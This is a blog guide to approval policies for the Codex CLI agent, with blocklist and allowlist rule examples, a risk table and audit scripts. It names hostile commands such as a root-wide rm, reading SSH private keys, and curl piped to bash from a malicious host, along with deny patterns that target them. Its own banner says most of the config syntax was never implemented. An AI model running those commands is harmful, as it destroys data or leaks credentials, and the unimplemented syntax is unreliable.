Skip to content

Codex CLI approval_policy Implementation Patterns Complete Guide (2025)

Codex CLI Complete Guide

The config syntax in this article does not match the official schema

Codex CLI has been updated to v0.106.0 (Rust rewrite) with a revised configuration system. For the latest approval settings, see Codex CLI Auto-Approval Mode Complete Guide (2026).

The [[approval_policy]] table syntax used in this article (type/pattern/action fields) is not part of the official config.toml schema. Pasting these configuration examples directly into ~/.codex/config.toml will not work — Codex CLI does not recognize these keys.

In the current Codex CLI:

  • approval_policy is a single string value (untrusted / on-request / never)
  • sandbox_mode is read-only / workspace-write / danger-full-access
  • Per-command control uses profiles combined with sandbox settings

The classification framework in this article (4-level dangerous command taxonomy, blacklist/whitelist/hybrid strategies) remains useful as a design reference, but do not copy the config syntax as-is.

This is a followup to the morning article

Morning article: Codex CLI Production Failure Patterns and Immediate Solutions

Goals

  • Understand 3 implementation patterns of approval_policy and select optimal configuration per environment
  • Implement dangerous command classification criteria and whitelist/blacklist strategies
  • Build operational framework combining audit logs

Why approval_policy Matters

While --full-auto mode is essential for automation, unlimited execution privileges include these risks:

  • Data Loss: Destructive commands like rm -rf /
  • Credential Leakage: Reading sensitive files like cat ~/.ssh/id_rsa
  • External Attacks: Executing external scripts like curl malicious-site.com/payload.sh | bash

approval_policy requires individual approval for these operations, balancing automation and security.

3 Implementation Patterns

Pattern 1: Blacklist Type (Restrict Only Dangerous Commands)

Target Environment: Development environment, trusted task sets

# ⚠️ CONCEPTUAL — NOT official config.toml syntax
[approval]
mode = "full-auto"

[[approval_policy]]
type = "command"
pattern = "^rm\\s+-rf\\s+/"
action = "require"
reason = "Root directory deletion prevention"

[[approval_policy]]
type = "command"
pattern = "^dd\\s+if="
action = "require"
reason = "Disk overwrite prevention"

[[approval_policy]]
type = "command"
pattern = "(curl|wget).*\\|.*bash"
action = "require"
reason = "Remote script execution check"

Pros: Minimal constraints with flexible automation Cons: New dangerous commands undetected until first execution

Pattern 2: Whitelist Type (Execute Only Approved List)

Target Environment: Production, CI/CD, strict compliance requirements

# ⚠️ CONCEPTUAL — NOT official config.toml syntax
[approval]
mode = "full-auto"
default_action = "deny"  # Deny all undefined

[[approval_policy]]
type = "command"
pattern = "^(git|npm|python|pytest|mypy)"
action = "allow"
reason = "Standard development tools"

[[approval_policy]]
type = "file_write"
pattern = "^(src|tests|docs)/.*\\.(py|md|toml)$"
action = "allow"
reason = "Project files only"

[[approval_policy]]
type = "network"
pattern = "^https://(api\\.github\\.com|pypi\\.org)"
action = "allow"
reason = "Trusted domains"

Pros: Highest security level Cons: High operational cost for allowlist updates

Pattern 3: Hybrid Type (Hierarchical Control)

Target Environment: Enterprise, unified multi-environment management

# ⚠️ CONCEPTUAL — NOT official config.toml syntax
[approval]
mode = "full-auto"

# Highest priority: Emergency stop commands
[[approval_policy]]
priority = 1
type = "command"
pattern = "^(shutdown|reboot|init\\s+0)"
action = "deny"
reason = "System critical commands blocked"

# High priority: Dangerous commands require manual approval
[[approval_policy]]
priority = 2
type = "command"
pattern = "^(rm|dd|mkfs|fdisk)"
action = "require"
reason = "Destructive command confirmation"

# Normal priority: Development tools auto-allowed
[[approval_policy]]
priority = 3
type = "command"
pattern = "^(git|npm|pip|docker)"
action = "allow"
reason = "Standard toolchain"

# Default: Unclassified requires manual approval
[approval]
fallback_action = "require"

Pros: Optimal balance of flexibility and security Cons: Increased configuration complexity

Dangerous Command Classification Criteria

LevelCharacteristicsExamplesRecommended Action
CriticalSystem-wide impactshutdown, init 0deny
HighData loss riskrm -rf, dd, mkfsrequire
MediumSensitive info accesscat ~/.ssh/*, env \| grep SECRETrequire
LowExternal communicationcurl, wget, git cloneEnvironment-dependent

Implementation Steps

Step 1: Audit Current Commands

Extract executed commands from existing Codex session logs:

# Analyze command frequency over last 30 days
grep "Executing:" ~/.codex/logs/*.log \
  | awk '{print $3}' \
  | sort | uniq -c | sort -rn \
  | head -20

Step 2: Risk Classification

Classify extracted commands into 4 levels above, manage in CSV or similar:

Command,Risk Level,Action,Reason
git,Low,allow,Version control
rm,High,require,Data deletion
curl,Medium,require,External access
shutdown,Critical,deny,System critical

Step 3: Generate config.toml

Auto-generate configuration from classification results (script example):

#!/bin/bash
INPUT_CSV="command_risks.csv"
OUTPUT_TOML="config_approval.toml"

# ⚠️ CONCEPTUAL — NOT official config.toml syntax
echo "[approval]" > "$OUTPUT_TOML"
echo "mode = \"full-auto\"" >> "$OUTPUT_TOML"
echo "" >> "$OUTPUT_TOML"

tail -n +2 "$INPUT_CSV" | while IFS=, read -r cmd risk action reason; do
  cat >> "$OUTPUT_TOML" <<EOF
[[approval_policy]]
type = "command"
pattern = "^${cmd}"
action = "${action}"
reason = "${reason}"

EOF
done

Step 4: Gradual Rollout

  1. Week 1: Only require action (all commands manual approval for behavior verification)
  2. Week 2: Change frequent commands to allow (monitor approval logs)
  3. Week 3: Change dangerous commands to deny (check false positives)
  4. Week 4: Production deployment

Operations with Audit Log Integration

Log Analysis Script

#!/bin/bash
LOG_DIR="$HOME/.codex/logs"
ALERT_FILE="/tmp/codex_alerts.txt"

# Extract approval events from last 24 hours
find "$LOG_DIR" -name "*.log" -mtime -1 -exec \
  grep -H "approval_required\|action=deny" {} \; \
  > "$ALERT_FILE"

if [ -s "$ALERT_FILE" ]; then
  echo "⚠️  Approval events detected in last 24h:"
  cat "$ALERT_FILE"
  # Can add Slack notifications here
fi

Periodic Execution Setup

# crontab -e
0 9 * * * /path/to/log_analyzer.sh

Benchmark: Approval Overhead

Execution time comparison for 100 tasks (M1 Mac, Claude-3.5-Sonnet):

ConfigurationExecution TimeManual ApprovalsNotes
mode=interactive45 min100All tasks manual approval
Blacklist type8 min3Only 3 dangerous commands
Whitelist type9 min020 min initial setup
Hybrid type8 min22 unclassified commands

Conclusion: Blacklist and Hybrid types achieve best balance between execution time and security.

Failure Patterns and Solutions

SymptomCauseSolution
Regex matches all commandsGeneric patterns like pattern = ".*"Start with specific command names (^git, etc.)
Allowed commands get deniedWrong priority orderSet allow rules to high priority, deny to low
Not loggedlog_level = "error" configuredChange to log_level = "info"
Config changes not reflectedCodex caching old configRestart with codex restart

FAQ

Q: Which regex dialect is supported in pattern? A: Compliant with Rust's regex crate. Lookahead/lookbehind not supported. Refer to official docs.

Q: Can network access be controlled by policy? A: type = "network" for fine-grained control was not implemented. Network access is controlled via [sandbox_workspace_write].network_access = true/false, or by setting sandbox_mode = "danger-full-access" for full access.

Q: How to use different policies across multiple environments? A: Switch config files with CODEX_CONFIG_PATH environment variable:

export CODEX_CONFIG_PATH="$HOME/.codex/prod_config.toml"

Current Official Approval Control (2026)

The [[approval_policy]] table syntax described in this article was never implemented. As of 2026, Codex CLI approval and sandbox settings are controlled as follows:

config.toml Settings

# ~/.codex/config.toml
approval_policy = "on-request"    # untrusted / on-request / never
sandbox_mode = "workspace-write"  # read-only / workspace-write / danger-full-access

# Switch per environment with profiles
[profiles.strict]
approval_policy = "on-request"
sandbox_mode = "read-only"

[profiles.auto]
approval_policy = "never"
sandbox_mode = "danger-full-access"

CLI Flag Control

codex -a never -s workspace-write "task"   # Skip approval, keep sandbox
codex --full-auto "task"                    # = -a on-request -s workspace-write
codex -p strict "task"                      # Use named profile

For details, see the Codex CLI Auto-Approval Mode Complete Guide (2026).

Next Steps